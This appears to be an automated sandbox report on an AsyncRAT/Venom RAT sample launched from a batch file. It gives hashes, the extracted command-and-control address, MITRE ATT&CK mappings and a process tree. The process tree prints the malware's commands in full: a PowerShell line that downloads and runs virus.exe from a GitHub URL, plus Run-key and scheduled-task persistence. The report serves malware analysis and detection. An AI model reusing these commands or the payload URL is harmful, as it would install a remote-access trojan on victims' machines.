asyncrat | 018e9eab7ef3f0e2c37da295ac6e35a47676d0656d9dde8654e0ea48c1583603

Analysis

max time kernel
270s
max time network
271s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-12-2024 23:03

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General

Target

test2.bat
Size

620B
MD5

14c03b7177f2a8e5c8e2bfbcc3a47a16
SHA1

2e3fbd8d21c9a967e79767ac2a51fadbd3defceb
SHA256

018e9eab7ef3f0e2c37da295ac6e35a47676d0656d9dde8654e0ea48c1583603
SHA512

d426d37f30219ab4d7f9cf2f8f58a2ec5616dd34a2746b3fd4e8c0b3c919239e996d55c678ef8d7cbe516fbbb0f19f32a93fd4bd8196503ee0bb274d613b938e

Score

10^/10

asyncrat default discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

66.66.146.74:9511

Mutex

8906005788005HTGF

Attributes

delay
1
install
true
install_file
WINDOWS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0008000000023ce1-17.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2988	powershell.exe
7	2988	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2988	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	virus.exe

Executes dropped EXE 2 IoCs

pid	Process
4560	virus.exe
2192	WINDOWS.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup = "C:\\Users\\Admin\\AppData\\Local\\Temp\\test2.bat"	reg.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3012	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1980	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2988	powershell.exe
2988	powershell.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
4560	virus.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe
2192	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	4560	virus.exe
Token: SeDebugPrivilege	2192	WINDOWS.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2192	WINDOWS.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 5020	4592	cmd.exe	85
PID 4592 wrote to memory of 5020	4592	cmd.exe	85
PID 4592 wrote to memory of 1080	4592	cmd.exe	86
PID 4592 wrote to memory of 1080	4592	cmd.exe	86
PID 4592 wrote to memory of 2988	4592	cmd.exe	88
PID 4592 wrote to memory of 2988	4592	cmd.exe	88
PID 2988 wrote to memory of 4560	2988	powershell.exe	89
PID 2988 wrote to memory of 4560	2988	powershell.exe	89
PID 4560 wrote to memory of 1856	4560	virus.exe	90
PID 4560 wrote to memory of 1856	4560	virus.exe	90
PID 4560 wrote to memory of 2352	4560	virus.exe	91
PID 4560 wrote to memory of 2352	4560	virus.exe	91
PID 2352 wrote to memory of 3012	2352	cmd.exe	95
PID 2352 wrote to memory of 3012	2352	cmd.exe	95
PID 1856 wrote to memory of 1980	1856	cmd.exe	94
PID 1856 wrote to memory of 1980	1856	cmd.exe	94
PID 2352 wrote to memory of 2192	2352	cmd.exe	96
PID 2352 wrote to memory of 2192	2352	cmd.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5020	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\system32\attrib.exe
  attrib +h +r C:\Users\Admin\AppData\Local\Temp\test2.bat
  2⤵
  - Views/modifies file attributes
  PID:5020
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Startup" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\test2.bat" /f
  2⤵
  - Adds Run key to start application
  PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"$env:Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Users\Admin\AppData\Local\Temp\virus.exe
    "C:\Users\Admin\AppData\Local\Temp\virus.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1856
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1980
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC13D.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2352
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:3012
    - - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnhrrbtf.1u2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC13D.tmp.bat

Filesize
151B

MD5
296fd0ba41be740fffd526a83ecbbcc4

SHA1
6eb80274c0da6d113cbe9c5d51310059415264c3

SHA256
3d907745af9828940fb50e4588f904d100099b762d2a6f620342ccfba49759ac

SHA512
858d74c18a33d4eca42a0c8d25a92768737c4aa9553113dcfcc1f71c20fc4f0c127fa993e61e9c58fb28ccf9cf84bb7a2481a493f6acdb8253e6332f279b2b9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\virus.exe

Filesize
74KB

MD5
7a545dbf06e65f7f17f04ae0f5153e0e

SHA1
ab20193637edd250eac59fd71b6ea2b7a0faaad4

SHA256
c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d

SHA512
98a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
memory/2988-34-0x00007FFC53833000-0x00007FFC53835000-memory.dmp

Filesize
8KB

Download
memory/2988-1-0x0000017EFFF70000-0x0000017EFFF92000-memory.dmp

Filesize
136KB

Download
memory/2988-11-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/2988-12-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/2988-0-0x00007FFC53833000-0x00007FFC53835000-memory.dmp

Filesize
8KB

Download
memory/2988-40-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/2988-35-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/4560-24-0x0000000000100000-0x0000000000118000-memory.dmp

Filesize
96KB

Download
memory/4560-32-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/4560-27-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download
memory/4560-25-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

Filesize
10.8MB

Download